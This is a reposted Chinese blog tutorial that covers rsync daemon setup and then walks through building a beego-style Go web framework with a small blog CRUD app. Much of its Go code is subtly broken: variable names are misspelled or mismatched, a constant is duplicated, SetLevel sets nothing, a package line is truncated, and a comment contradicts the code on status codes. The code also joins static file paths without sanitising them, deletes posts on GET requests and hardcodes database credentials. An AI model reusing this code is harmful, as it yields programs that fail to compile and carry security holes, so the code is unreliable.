rysnc的官方網(wǎng)站：http://rsync.samba.org/ 可以從上面獲取最新版本的源碼。我們目前好像就是用的這個(gè)工具進(jìn)行的文件同步.
rsync特性：
軟件包安裝
sudo apt install rsync yum install rsyncrsync配置
rsync主要有以下三個(gè)配置文件rsyncd.conf(主配置文件)、rsyncd.secrets(密碼文件)、rsyncd.motd(rysnc服務(wù)器信息)。
下面介紹服務(wù)器端和客戶端如何開啟
- 服務(wù)端開啟：
--daemon參數(shù)方式，是讓rsync以服務(wù)器模式運(yùn)行。把rsync加入開機(jī)啟動(dòng)
echo 'rsync --daemon' >> /etc/rc.d/rc.local設(shè)置rsync密碼
echo '你的用戶名:你的密碼' > /etc/rsyncd.secrets chmod 600 /etc/rsyncd.secrets- 客戶端同步：
客戶端可以通過如下命令同步服務(wù)器上的文件：
rsync -avzP --delete --password-file=rsyncd.secrets 用戶名@192.168.145.5::www /var/rsync/backup客戶端同步命令解釋：
- -avzP代表4個(gè)選項(xiàng)
- a 歸檔模式，表示以遞歸方式傳輸文件，并保持所有文件屬性
- v 詳細(xì)模式輸出
- z 對(duì)備份的文件在傳輸時(shí)進(jìn)行壓縮處理
- P 等同于 --partial,保留那些因故沒有完全傳輸?shù)奈募?#xff0c;以是加快隨后的再次傳輸
- --delete 是為了比如A上刪除了一個(gè)文件，同步的時(shí)候，B會(huì)自動(dòng)刪除相對(duì)應(yīng)的文件
- --password-file 客戶端中/etc/rsyncd.secrets設(shè)置的密碼，要和服務(wù)端的 /etc/rsyncd.secrets 中的密碼一樣，這樣cron運(yùn)行的時(shí)候，就不需要密碼了
- 命令中的"用戶名"為服務(wù)端的 /etc/rsyncd.secrets中的用戶名
- 命令中的 192.168.145.5 為服務(wù)端的IP地址
- ::www，注意是2個(gè) : 號(hào)，www為服務(wù)端的配置文件 /etc/rsyncd.conf 中的[www]，意思是根據(jù)服務(wù)端上的/etc/rsyncd.conf來(lái)同步其中的[www]段內(nèi)容，一個(gè) : 號(hào)的時(shí)候，用于不根據(jù)配置文件，直接同步指定目錄。
為了讓同步實(shí)時(shí)性，可以設(shè)置crontab，保持rsync每分鐘同步，也可以根據(jù)文件的重要程度設(shè)置不同的同步頻率。
下面都是MySQL備份和Redis備份,老沈常談,不說(shuō)了
如何設(shè)計(jì)一個(gè)Web框架
項(xiàng)目規(guī)劃
gopath以及項(xiàng)目設(shè)置
假設(shè)gopath是一個(gè)文件系統(tǒng)的普通目錄名，我們當(dāng)然可以隨便設(shè)置一個(gè)目錄名，然后將其路徑存入GOPATH,GOPATH可以是多個(gè)目錄.
在linux/MacOS系統(tǒng)只要輸入終端命令export gopath=/home/liuhao/gopath，但是必須保證gopath這個(gè)代碼目錄下面有三個(gè)目錄pkg、bin、src。
新建項(xiàng)目的源碼放在src目錄下面，現(xiàn)在暫定我們的博客目錄叫做beeblog,工作目錄在$gopath/src下.
應(yīng)用程序流程圖
本系統(tǒng)是基于 模型 - 視圖 - 控制器 這一設(shè)計(jì)模式的,MVC是一種將應(yīng)用程序的邏輯層和表現(xiàn)層進(jìn)行分離的結(jié)構(gòu)方式.一般的web都是用這種結(jié)構(gòu),即使是前后端分離,也只是拋棄了view而已,有的甚至還是會(huì)把靜態(tài)文件放在view里面.由于把go代碼從表示層中剝離了出來(lái),所以我們的網(wǎng)頁(yè)可以只包含很少的腳本.
- 模型(Model) 代表數(shù)據(jù)結(jié)構(gòu),通常來(lái)說(shuō),模型類將包含數(shù)據(jù)庫(kù)的增刪改查操作
- 控制器(Controller)是模型,視圖以及其他任何處理http請(qǐng)求所必須的資源之間的中介,并生成網(wǎng)頁(yè).(簡(jiǎn)而言之就是用來(lái)調(diào)度http請(qǐng)求資源的和生成頁(yè)面的地方)
- 視圖(View)是展示給用戶的信息的結(jié)構(gòu)以及樣式.在go中一個(gè)視圖也可以是一個(gè)頁(yè)面的片段,還可以是一個(gè)RSS頁(yè)面或其他類型的頁(yè)面,go的template包已經(jīng)很好的實(shí)現(xiàn)了view層中的大部分功能.
下圖是我們將要設(shè)計(jì)的框架的數(shù)據(jù)流是如何貫穿整個(gè)系統(tǒng)的:
目錄結(jié)構(gòu)
架構(gòu)目錄如下:
|——main.go 入口文件 |——conf 配置文件和處理模塊 |——controllers 控制器入口 |——models 數(shù)據(jù)庫(kù)處理模塊 |——utils 輔助函數(shù)庫(kù) |——static 靜態(tài)文件目錄 |——views 視圖庫(kù)框架設(shè)計(jì)
基本上就是利用上面的流程設(shè)計(jì)一個(gè)最小的框架,框架包括路由功能,支持REST的控制器,自動(dòng)化渲染末班,日志系統(tǒng),配置管理等
自定義路由器設(shè)計(jì)
http路由 http路由組件負(fù)責(zé)將http請(qǐng)求交到對(duì)應(yīng)的函數(shù)去處理或者是一個(gè)struct的方法,留有在框架中相當(dāng)于一個(gè)事件處理器,而這個(gè)事件要包括:
- 用戶請(qǐng)求的路徑即path,例如:user/liu,finance/list.當(dāng)然還要有查詢串信息例如:?id=1
- http的請(qǐng)求方法(method)(GET,POST,PUT,DELETE,PATCH等)
路由器就是根據(jù)用戶請(qǐng)求的事件信息轉(zhuǎn)發(fā)到相應(yīng)的處理函數(shù),即控制器.
默認(rèn)的路由實(shí)現(xiàn)
這里再說(shuō)一下go的http包的設(shè)計(jì)和路由實(shí)現(xiàn)
下面的例子調(diào)用了HTTP默認(rèn)的DefaultServeMux來(lái)添加路由,需要提供兩個(gè)參數(shù),第一個(gè)參數(shù)是用戶訪問此資源的URL路徑,該路徑保存在r.URL.Path中,第二個(gè)參數(shù)是即將要執(zhí)行的函數(shù),以提供用戶訪問的資源,路由的主要思路集中在亮點(diǎn):
- 添加路由信息
- 根據(jù)用戶請(qǐng)求轉(zhuǎn)發(fā)到要執(zhí)行的函數(shù)
go的默認(rèn)路由添加是通過函數(shù)http.Handle和http.HandleFunc等來(lái)添加的,底層都是調(diào)用了DefaultServeMux.Handle(pattern string, handler Handler),該函數(shù)會(huì)把路由存儲(chǔ)在一個(gè)map信息中map[string]muxEntry,這就解決了- 添加路由信息的問題
go監(jiān)聽端口,然后接收到tcp連接會(huì)扔給Handler來(lái)處理,上面的例子默認(rèn)nil的意思,即為http.DefaultServeMux,通過DefaultServeMux.ServeHTTP函數(shù)來(lái)進(jìn)行調(diào)度,遍歷之前存儲(chǔ)的map路由信息,和用戶訪問的URL做匹配,以查詢對(duì)應(yīng)注冊(cè)的處理函數(shù),這就實(shí)現(xiàn)了上面說(shuō)的 - 根據(jù)用戶請(qǐng)求轉(zhuǎn)發(fā)到要執(zhí)行的函數(shù)
for k, v := range mux.m {if !pathMatch(k, path) {continue}if h == nil || len(k) > n {n = len(k)h = v.h} }beego框架路由實(shí)現(xiàn)
目前幾乎所有的Web應(yīng)用路由實(shí)現(xiàn)都是基于http默認(rèn)的路由器，但是Go自帶的路由器有幾個(gè)限制：
- 不支持參數(shù)設(shè)定,流入/user/:uid這種泛型匹配
- 無(wú)法很友好的支持REST模式,無(wú)法限制訪問的方法,例如在上面的代碼中,用戶訪問/foo，可以用GET、POST、DELETE、HEAD等方式訪問
- 一般網(wǎng)站的路由規(guī)則太多了，編寫繁瑣.不過可以通過struct的方法進(jìn)行一種簡(jiǎn)化
存儲(chǔ)路由
針對(duì)前面所說(shuō)的go自帶的路由的限制點(diǎn)
- 不支持參數(shù)設(shè)定,我們可以使用正則來(lái)匹配
- 無(wú)法很好的支持REST模式和一般網(wǎng)站的路由規(guī)則太多了,我們通過把REST的方法對(duì)應(yīng)到struct的方法中取,然后路由到struct而不是函數(shù),這樣在轉(zhuǎn)發(fā)路由時(shí)就可以根據(jù)method來(lái)執(zhí)行不同的方法
所以我們?cè)O(shè)計(jì)了兩個(gè)數(shù)據(jù)類型
- controllerinfo 用來(lái)保存路由和對(duì)應(yīng)的的struct,這里是一個(gè)reflect.Type類型
- ControllerRegistor,routers是一個(gè)slice用來(lái)保存用戶添加的路由信息,以及beego框架的應(yīng)用信息
看這里的時(shí)候可能有感覺有點(diǎn)懵逼,沒事繼續(xù)往下看,先記住這里,看到下一個(gè)小節(jié)就都明白了
框架我都懶得寫了...
//保存路由和對(duì)應(yīng)的struct type controllerInfo struct{regex *regexp.Regexpparams map[int]stringcontrollerType reflect.Type//反射類型 }// type ControllerRegistor struct{routers []*controllerInfo //保存我們添加的路由信息Application *App //框架的應(yīng)用信息 }ControllerRegistor對(duì)外的接口函數(shù)有
func (p *ControllerRegistor) Add(pattern string, ControllerInterface)函數(shù)的具體實(shí)現(xiàn)
func (p *ControllerRegistor) Add(pattern string, c ControllerInterface){//按照/分割字符串為sliceparts := strings.Split(pattern, "/")j:=0parms := make(map[int]string)for i,part := range parts{//判斷字符串是否以:開頭if strings.HasPrefix(part, ":"){expr := "([^/]+)"//我們可以選擇覆蓋defult表達(dá)式//類似于expressjs: ' /user/:id([0-9]+) '//如果發(fā)現(xiàn)字符串中(,則剪切字符串,一個(gè)作為參數(shù),一個(gè)作為路由if index := strings.Index(part,"("); index != -1{expr = part[index:]part = part[:index]}params[j] = partparts[i] = exprj++}}//重新創(chuàng)建url模式，替換參數(shù)//正則表達(dá)式,然后編譯正則表達(dá)式pattern = strings.Join(parts, "/")regex, regexErr := regexp.Compile(pattern)if regexErr != nil{//可以在這里添加錯(cuò)誤處理以避免恐慌panic(regexErr)return}//現(xiàn)在可以創(chuàng)建路由t := reflect.Indirect(reflect.ValueOf(c)).Type()route := &controllerInfo{}route.regex = regxroute.params = paramsroute.controllerType = tp.routers = append(p.routers, route)}靜態(tài)路由實(shí)現(xiàn)
Go的http包默認(rèn)支持靜態(tài)文件處理FileServer,既然我們實(shí)現(xiàn)了了自定義路由,那么靜態(tài)文件也需要自己設(shè)定.我們這里的beego的靜態(tài)文件夾路徑保存在全局變量StaticDir中,StaticDir是一個(gè)map類型
func (app *App) SetStaticPath(url string,path string) *App{StaticDir[url] = pathreturn app }在應(yīng)用中設(shè)置靜態(tài)文件的路徑可以使用下面的方式實(shí)現(xiàn):
beego.SetStaticPath("/img","/static/img")轉(zhuǎn)發(fā)路由
轉(zhuǎn)發(fā)路由是基于ControllerRegistor里的路由信息來(lái)進(jìn)行轉(zhuǎn)發(fā)的,這里用了太多的反射
//路由轉(zhuǎn)發(fā) func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter,r *http.Request){//一個(gè)自動(dòng)觸發(fā)的回調(diào)函數(shù),但是會(huì)在函數(shù)運(yùn)行完之后才執(zhí)行defer func(){if err := recover(); err!=nil{//我們自己封裝的錯(cuò)誤處理if !RecoverPanic{// 此處會(huì)go back to panicpanic(err)}else{//我們可以自己封裝的日志處理Critical("hanler 轉(zhuǎn)發(fā)失敗", err)for i:=1; ;i+=1{_,file,line,ok := runtime.Caller(i)if !ok{break}Critical(file,line)}}}}()var started bool//遍歷StaticDir這個(gè)map,得到靜態(tài)文件保存的目錄和下標(biāo)for prefix, staticDir := range StaticDir{//判斷用戶訪問的URL是否存在于我們預(yù)先設(shè)定的map中,如果存在則開始做拼接處理if strings.HasPrefix(r.URL.Path, prefix){file := staticdir + r.URL.Path[len(prefix):]http.ServeFile(w, r, file)started = truereturn}}/***找一條匹配路由*/ //得到用戶請(qǐng)求的URL地址requstPath := r.URL.Path//遍歷我們預(yù)先定義的路由列表for _,route := range p.routers{//使用我們預(yù)先定義的路由,來(lái)做簡(jiǎn)單的正則匹配,判斷用戶請(qǐng)求的URL是否是在我們存儲(chǔ)的路由中//如果不是,就跳過循環(huán),開始進(jìn)入下一個(gè)循環(huán)if !route.regex.MatchString(requestPath){continue}//Submatch 返回完全匹配和局部匹配的字符串。例如，這里會(huì)返回 p([a-z]+)ch 和 `([a-z]+) 的信息。matches := route.regex.FindStringSubmatch(requestPath)//再次檢查路由是否匹配URL模式。//即用上面正則,拿到的我們匹配到的參數(shù)的長(zhǎng)度和用戶請(qǐng)求的URL的長(zhǎng)度做對(duì)比,如果不一樣的進(jìn)入下一個(gè)循環(huán)if len(matches[0]) != len(requestsPath){continue}params := make(map[string]string)if len(route.params) >0{//將url的請(qǐng)求參數(shù)添加到查詢參數(shù)映射values := r.URL.Query()//遍歷上面正則查詢到的所有結(jié)果(從下標(biāo)1開始),并將下標(biāo)和值,分別保存for i, match := range matches[1:] {values.Add(route.params[i], match)params[route.params[i]] = match}//重新組裝查詢參數(shù)并添加到RawQueryr.URL.RawQuery = url.Values(values).Encode() + "&"+ r.URL.RawQuery}/***調(diào)用請(qǐng)求處理程序*///使用反射,動(dòng)態(tài)創(chuàng)建一個(gè)struct,其實(shí)就是注冊(cè)方法vc := reflect.New(route.controllerType)//注冊(cè)封裝的Init方法init := vc.MethodByName("Init")in := make([]reflect.Value, 2)ct := &Context{ResponseWriter: w, Request: r, Params: params}in[0] = reflect.ValueOf(ct)in[1] = reflect.ValueOf(route.controllerType.Name())init.Call(in)in = make([]reflect.Value, 0)//同樣,注冊(cè)封裝的Prepare方法method := vc.MethodByName("Prepare")//調(diào)用封裝的方法method.Call(in)//逐個(gè)匹配請(qǐng)求方式,判斷激活那個(gè)方法if r.Method == "GET" {method = vc.MethodByName("Get")method.Call(in)} else if r.Method == "POST" {method = vc.MethodByName("Post")method.Call(in)} else if r.Method == "HEAD" {method = vc.MethodByName("Head")method.Call(in)} else if r.Method == "DELETE" {method = vc.MethodByName("Delete")method.Call(in)} else if r.Method == "PUT" {method = vc.MethodByName("Put")method.Call(in)} else if r.Method == "PATCH" {method = vc.MethodByName("Patch")method.Call(in)} else if r.Method == "OPTIONS" {method = vc.MethodByName("Options")method.Call(in)}if AutoRender {method = vc.MethodByName("Render")method.Call(in)}method = vc.MethodByName("Finish")//調(diào)用匹配到的方法method.Call(in)started = truebreak}//如果沒有匹配到url，則拋出not found異常if started == false {http.NotFound(w, r)} }使用入門
基于這樣的路由設(shè)計(jì)之后就可以解決前面所說(shuō)的三個(gè)限制點(diǎn),下面是使用方式
基本的使用注冊(cè)路由：
beego.BeeApp.RegisterController("/", &controllers.MainController{})參數(shù)注冊(cè)：
beego.BeeApp.RegisterController("/:param", &controllers.UserController{})正則匹配：
beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{})controller設(shè)計(jì)
controller作用
這里就不贅述了,Controller指Web開發(fā)人員編寫的處理不同URL的控制器.controller在整個(gè)的MVC框架中起到了一個(gè)核心的作用，負(fù)責(zé)處理業(yè)務(wù)邏輯.
beego的REST設(shè)計(jì)
前面一小節(jié),我們實(shí)現(xiàn)了路由注冊(cè)struct的功能,而struct中實(shí)現(xiàn)了REST方式,因此我們這里還需要設(shè)計(jì)一個(gè)用于處理業(yè)務(wù)邏輯的controller的基類,這里主要設(shè)計(jì)兩個(gè)類型,一個(gè)struct,一個(gè)interface
//控制器結(jié)構(gòu)體 type Controller struct{Ct *ContextTpl *template.TemplateData map[interface{}]interface{}ChildName stringTplNames stringLayout []stringTplExt string }//控制器接口 type ControllerInterface interface{Init(ct *Context, cn string) //初始化上下文和子類名稱Prepare() //開始執(zhí)行之前的一些處理Get() //method=get的處理Post() //同上Delete() //同上Put() //同上Head() //同上Patch() //同上Finish() //執(zhí)行完畢之后的處理Render() error //執(zhí)行完method對(duì)應(yīng)的方法之后渲染頁(yè)面 }就像前面說(shuō)的路由add函數(shù)的時(shí)候是定義了ControllerInterface類型,因此只要我們事先這個(gè)接口就可以了,下面是基類的controller實(shí)現(xiàn)的幾個(gè)方法
func (c *Controller) Init(ct *Context, cn string){c.Data =make(map[interface{}]interface{})c.Layout = make([]string,0)c.TplNames = ""c.ChildName= cnc.Ct=ctc.TplExt="tpl" }func (c *Controller) Prepare() {}func (c *Controller) Finish() {}func (c *Controller) Get() {http.Error(c.Ct.ResponseWriter, "接口不被允許", 405) }func (c *Controller) Post() {http.Error(c.Ct.ResponseWriter, "接口不被允許", 405) }func (c *Controller) Delete() {http.Error(c.Ct.ResponseWriter, "接口不被允許", 405) }func (c *Controller) Put() {http.Error(c.Ct.ResponseWriter, "接口不被允許", 405) }func (c *Controller) Head() {http.Error(c.Ct.ResponseWriter, "接口不被允許", 405) }func (c *Controller) Patch() {http.Error(c.Ct.ResponseWriter, "接口不被允許", 405) }func (c *Controller) Options() {http.Error(c.Ct.ResponseWriter, "接口不被允許", 405) }func (c *Controller)Render() error{//如果layout>0 即需要多個(gè)模板或一個(gè)模板if len(c.Layout)>0{var filenames []stringfor _, file := range c.Layout{filenames = append(filenames, path.Join(ViewsPath, file))}//這里這個(gè)...意思是把這個(gè)slice打算逐個(gè)當(dāng)參數(shù)穿進(jìn)去t, err := template.ParseFiles(filenames...)if err != nil{Trace("template parseFile error:",err)}err = t.ExecuteTemplate(c.Ct.ResponseWriter,c.TplNames,C.Data)if err != nil{Trace("template execute error:", err)}}else{//如果沒有模板,我們就拼接一個(gè)子的if c.TplNames == ""{c.TplNames = c.ChildName + "/" + c.Ct.Resquest.Method+"."+c.TplExt}t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames))if err != nil {Trace("template parsefile error:", err)}err = t.Execute(c.Ct.ResponseWriter, c.Data)if err != nil {Trace("template execute error:", err)}}return nil}func (c *Controller) Redirect(url string, code int) {c.Ct.Redirect(code, url) }上面的controller基類已經(jīng)實(shí)現(xiàn)了所有接口定義的函數(shù)，通過路由根據(jù)url執(zhí)行相應(yīng)的controller的原則，會(huì)依次執(zhí)行
Init() 初始化 Prepare() 執(zhí)行之前的初始化，每個(gè)繼承的子類可以來(lái)實(shí)現(xiàn)該函數(shù) method() 根據(jù)不同的method執(zhí)行不同的函數(shù)：GET、POST、PUT、HEAD等，子類來(lái)實(shí)現(xiàn)這些函數(shù)，如果沒實(shí)現(xiàn)，那么默認(rèn)都是403 Render() 可選，根據(jù)全局變量AutoRender來(lái)判斷是否執(zhí)行 Finish() 執(zhí)行完之后執(zhí)行的操作，每個(gè)繼承的子類可以來(lái)實(shí)現(xiàn)該函數(shù)應(yīng)用指南
上面基本上已經(jīng)完成了controller基類的設(shè)計(jì),我們可以在應(yīng)用中這么設(shè)計(jì)我們的控制器方法
//這塊可以看一下作者的代碼,可見他這里就直接import了項(xiàng)目中的框架 //且直接在控制器方法中添加參數(shù),設(shè)置模板 package controllersimport ("github.com/astaxie/beego" )type MainController struct {beego.Controller }func (this *MainController) Get() {this.Data["Username"] = "astaxie"this.Data["Email"] = "astaxie@gmail.com"this.TplNames = "index.tpl" }在上面我們已經(jīng)實(shí)現(xiàn)了子類的MainController,實(shí)現(xiàn)了Get方法,如果用戶通過其他的方式(POST/HEAD等)來(lái)訪問該接口都將返回405,因?yàn)槲覀冊(cè)O(shè)置了AutoRender=true，那么在執(zhí)行完Get方法之后會(huì)自動(dòng)執(zhí)行Render函數(shù),取到我們?cè)O(shè)置的index.tpl頁(yè)面
index.tpl的代碼如下所示，我們可以看到數(shù)據(jù)的設(shè)置和顯示都是相當(dāng)?shù)暮?jiǎn)單方便：
<!DOCTYPE html> <html><head><title>beego welcome template</title></head><body><h1>Hello, world!{{.Username}},{{.Email}}</h1></body> </html>日志和配置設(shè)計(jì)
beego的日志設(shè)計(jì)
beego的日志設(shè)計(jì)部署思路來(lái)自于seelog,根據(jù)不同的level來(lái)記錄日志
但是beego設(shè)計(jì)的日志系統(tǒng)就比較輕量級(jí)了,采用了系統(tǒng)的log.Logger接口來(lái)做,默認(rèn)輸出到os.Stdout
用戶可以實(shí)現(xiàn)這個(gè)接口然后通過beego.SetLogger設(shè)置自定義的輸出
下面實(shí)現(xiàn)了一段日志系統(tǒng)的日志分級(jí),默認(rèn)的級(jí)別是Trace.用戶通過SetLevel可以設(shè)置不同的分級(jí)。
const(LvelTrace = iota //默認(rèn)自增枚舉,初始值為0LevelDebugLevelInfoLevelWarningLevelWarningLevelErrorLevelCritical )// logLevel控制日志記錄器使用的全局日志級(jí)別。 var level = LevelTrace// LogLevel返回全局日志級(jí)別，可用于 //日志程序接口的實(shí)現(xiàn)。 func Level()int{return level }// SetLogLevel設(shè)置simple使用的全局日志級(jí)別 //設(shè)置日志記錄登記 func SetLevel(l int){level }下面代碼初始化了BeeLogger對(duì)象，默認(rèn)輸出到os.Stdout
我們可以通過beego.SetLogger來(lái)設(shè)置實(shí)現(xiàn)了logger的接口輸出
下面主要實(shí)現(xiàn)了6個(gè)函數(shù):
- Trace 一般的記錄信息
- Debug 調(diào)試信息
- Info 打印信息
- Warn 警告信息
- Error 錯(cuò)誤信息
- Critical 致命錯(cuò)誤
可以看到下面每個(gè)函數(shù)都有對(duì)level的判斷,所以我們?cè)诓渴鸬臅r(shí)候設(shè)置了level=LevelWaring,那么Trace,Debug,Info這三個(gè)函數(shù)都不會(huì)有任何的輸出,一次類推
//日志程序使用go自帶的日志包。 var BeeLogger = log.New(os.Stdout,"",log.Ldate|Log.Ltime)// SetLogger設(shè)置一個(gè)新的日志程序。 func SetLogger(l *log.Logger){BeeLogger =l }//記錄一個(gè)trace 級(jí)別的日志消息 func Trace(v ...interface{}){if level <= LevelTrace{Beelogger.Printf("[T] %v\n", v)} }//記錄一個(gè)debug 級(jí)別的日志小 func Debug(v ...interface{}){if level <= LevelDebug{BeeLogger.Printf("[D]%v\n", v)} }//記錄一個(gè)info級(jí)別的日志消息 func Info(v ...interface{}){if level <= LevelInfo{Beelogger.Printf("[I] %v\n",v)} }//記錄一個(gè)warging 級(jí)別的錯(cuò)誤信息 func Warn(v ...interface{}){if level <= LevelWarning{BeeLogger.Printf("[W] %v\n", v)} }//記錄一個(gè)error級(jí)別的錯(cuò)誤信息 func Error(v ...interface{}){if level <= LevelError{BeeLogger.Printf("[E] %v\n",v)} }//記錄一個(gè)critical級(jí)別的錯(cuò)誤日志 func Critical(v ...interface}){if level <= LevelCritical{BeeLogger.Printf("[C] %v\n", v)} }beego的配置設(shè)計(jì)
配置信息的解析,beego實(shí)現(xiàn)了一個(gè)key=values的配置文件讀取,類似于ini配置文件的格式.
通過把解析的數(shù)據(jù)保存到map中,然后在調(diào)用的時(shí)候通過幾個(gè)string,int之類的函數(shù)調(diào)用返回相應(yīng)的值
首先定義了一些ini配置問價(jià)的一些全局性常量
var (bComment = []byte{'#'}bEmpty = []byte{}bEquel = []byte{'='}bDQuote = []byte{'"'} )定義配置文件的格式
//配置文件的配置方式 type Config struct{filename stringconmment map[int][]string /// id: []{comment, key...}; id 1 is for main comment.data map[string]string //key: valueoffset map[string]int64 //key: offset; for editing.sync.RWMutex //鎖 }解析文件的函數(shù),解析文件的過程是打開文件,然后一行一行的讀取，解析注釋、空行和key=value數(shù)據(jù)
//ParseFile創(chuàng)建一個(gè)新的配置并從指定的文件解析文件配置 func LoadConfig(name string) (*Config, error){file,err := os.Open(name)if err != nil{return nil,err}cfg := &Config{file.Name(),make(map[int][]string),make(map[string]string),make(map[string]int64),sync.RWMutex{},}cfg.Lock()defer cfg.Unlock()defer file.Close()//聲明一個(gè)byte的緩沖區(qū)var comment bytes.Bufferbuf := bufio.NewReader(file)for nComment, off := 0,int64(1);;{line,_,err := buf.ReadLine()if err == io.EOF{break}if bytes.Equal(line,bEmpty){continue}off += int64(len(line))if bytes.HasPrefix(line,bComment){line = bytes.TrimLeft(line, "#")line = bytes.TrimLeftFunc(line, unicode.IsSpace)comment.Write(line)comment.WriteByte('\n')continue}if comment.Len() != 0 {cfg.comment[nComment] = []string{comment.String()}comment.Reset()nComment++}val := bytes.SplitN(line, bEqual, 2)if bytes.HasPrefix(val[1], bDQuote) {val[1] = bytes.Trim(val[1], `"`)}key := strings.TrimSpace(string(val[0]))cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key)cfg.data[key] = strings.TrimSpace(string(val[1]))cfg.offset[key] = off}return cfg, nil}實(shí)現(xiàn)了一些讀取配置文件的函數(shù)
返回的值為bool、int、float64或string：
func (c *Config) Bool(key string) (bool, error){return strconv.ParseBool(c.Data[key]) }func (c *Config) Int(key string) (int,error){return strconv.Atoi(c.Data[key]) }func (c *Config) Float(key string) (float64,error){return strconv.ParseFloat(c.data[key],64) }func (c *Config) String(key string) string{return c.data[key] }應(yīng)用指南
一個(gè)應(yīng)用中的例子，用來(lái)獲取遠(yuǎn)程url地址的json數(shù)據(jù)
func GetJson(){resp, err := http.Get(beego.AppConfig.String("url"))if err != nil{beego.Critical("http獲取失敗")}defer resp.Body.Close()body, err := ioutil.ReadAll(resp.Body)err = json.Unmarshal(body, &AllInfo)if err != nil{beego.Critical("error:", err)} }函數(shù)調(diào)用了我們?cè)诳蚣苤蟹庋b的日志函數(shù)beego.Critical函數(shù)來(lái)記錄錯(cuò)誤
調(diào)用了beego.AppConfig.String("url")用來(lái)獲取配置文件中的信息
配置文件的信息如下(app.conf)
appname = hs url ="http://www.api.com/api.html"實(shí)現(xiàn)博客的增刪改
博客目錄
博客目錄的結(jié)構(gòu)
. ├── controllers │ ├── delete.go │ ├── edit.go │ ├── index.go │ ├── new.go │ └── view.go ├── main.go ├── models │ └── model.go └── views├── edit.tpl├── index.tpl├── layout.tpl├── new.tpl└── view.tpl博客路由
博客主要的路由規(guī)則:
//顯示博客首頁(yè) beego.Router("/", &controllers.IndexController{}) //查看博客詳細(xì)信息 beego.Router("/view/:id([0-9]+)", &controllers.ViewController{}) //新建博客博文 beego.Router("/new", &controllers.NewController{}) //刪除博文 beego.Router("/delete/:id([0-9]+)", &controllers.DeleteController{}) //編輯博文 beego.Router("/edit/:id([0-9]+)", &controllers.EditController{})數(shù)據(jù)庫(kù)結(jié)構(gòu)
CREATE TABLE entries (id INT AUTO_INCREMENT,title TEXT,content TEXT,created DATETIME,primary key (id) );控制器
IndexController:
type IndexController struct{beego.Controller }//默認(rèn)首頁(yè) func (this *IndexController) Get(){this.Data["blogs"] = models.GetAll()this.Layout = "layout.Tpl"this.TplName = "index.tpl" }ViewController
type ViewController struct{beego.Controller }func (this *ViewController) Get(){id,_:= strconv.Atoi(this.Ctx.Input.Params()[":id"])this.Data["Post"] = models.GetBlog(id)this.Layout = "layout.tpl"this.TplName = "view.tpl" }NewController
type NewController struct {beego.Controller }func (this *NewController) Get() {this.Layout = "layout.tpl"this.TplName = "new.tpl" }func (this *NewController) Post() {inputs := this.Input()var blog models.Blogblog.Title = inputs.Get("title")blog.Content = inputs.Get("content")blog.Created = time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302, "/") }EditController
type EditController struct {beego.Controller }func (this *EditController) Get() {id, _ := strconv.Atoi(this.Ctx.Input.Params()[":id"])this.Data["Post"] = models.GetBlog(id)this.Layout = "layout.tpl"this.TplName = "edit.tpl" }func (this *EditController) Post() {inputs := this.Input()var blog models.Blogblog.Id, _ = strconv.Atoi(inputs.Get("id"))blog.Title = inputs.Get("title")blog.Content = inputs.Get("content")blog.Created = time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302, "/") }DeleteController
type DeleteController struct {beego.Controller }func (this *DeleteController) Get() {id, _ := strconv.Atoi(this.Ctx.Input.Params()[":id"])blog := models.GetBlog(id)this.Data["Post"] = blogmodels.DelBlog(blog)this.Ctx.Redirect(302, "/") }model層
ackage modelsimport ("database/sql""github.com/astaxie/beedb"_ "github.com/ziutek/mymysql/godrv""time" )type Blog struct {Id int `PK`Title stringContent stringCreated time.Time }func GetLink() beedb.Model {db, err := sql.Open("mymysql", "blog/astaxie/123456")if err != nil {panic(err)}orm := beedb.New(db)return orm }func GetAll() (blogs []Blog) {db := GetLink()db.FindAll(&blogs)return }func GetBlog(id int) (blog Blog) {db := GetLink()db.Where("id=?", id).Find(&blog)return }func SaveBlog(blog Blog) (bg Blog) {db := GetLink()db.Save(&blog)return bg }func DelBlog(blog Blog) {db := GetLink()db.Delete(&blog)return }view層
layout.tpl(結(jié)構(gòu))
<html> <head><title>My Blog</title><style>#menu {width: 200px;float: right;}</style> </head> <body><ul id="menu"><li><a href="/">Home</a></li><li><a href="/new">New Post</a></li> </ul>{{.LayoutContent}}</body> </html>index.tpl(首頁(yè))
<h1>Blog posts</h1><ul> {{range .blogs}}<li><a href="/view/{{.Id}}">{{.Title}}</a>from {{.Created}}<a href="/edit/{{.Id}}">Edit</a><a href="/delete/{{.Id}}">Delete</a></li> {{end}} </ul>view.tpl(這里實(shí)際上就是頁(yè)面的content部分)
<h1>{{.Post.Title}}</h1> {{.Post.Created}}<br/>{{.Post.Content}}new.tpl(添加博客)
<h1>New Blog Post</h1> <form action="" method="post"> 標(biāo)題:<input type="text" name="title"><br> 內(nèi)容：<textarea name="content" colspan="3" rowspan="10"></textarea> <input type="submit"> </form>edit.tpl(編輯博客)
<h1>Edit {{.Post.Title}}</h1><h1>New Blog Post</h1> <form action="" method="post"> 標(biāo)題:<input type="text" name="title" value="{{.Post.Title}}"><br> 內(nèi)容：<textarea name="content" colspan="3" rowspan="10">{{.Post.Content}}</textarea> <input type="hidden" name="id" value="{{.Post.Id}}"> <input type="submit"> </form>轉(zhuǎn)載于:https://my.oschina.net/chinaliuhan/blog/3083091
總結(jié)
以上是生活随笔為你收集整理的Go语言web开发学习的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： 使用Volley+OkHttp+Gson
- 下一篇： ASP.NET MVC diyUploa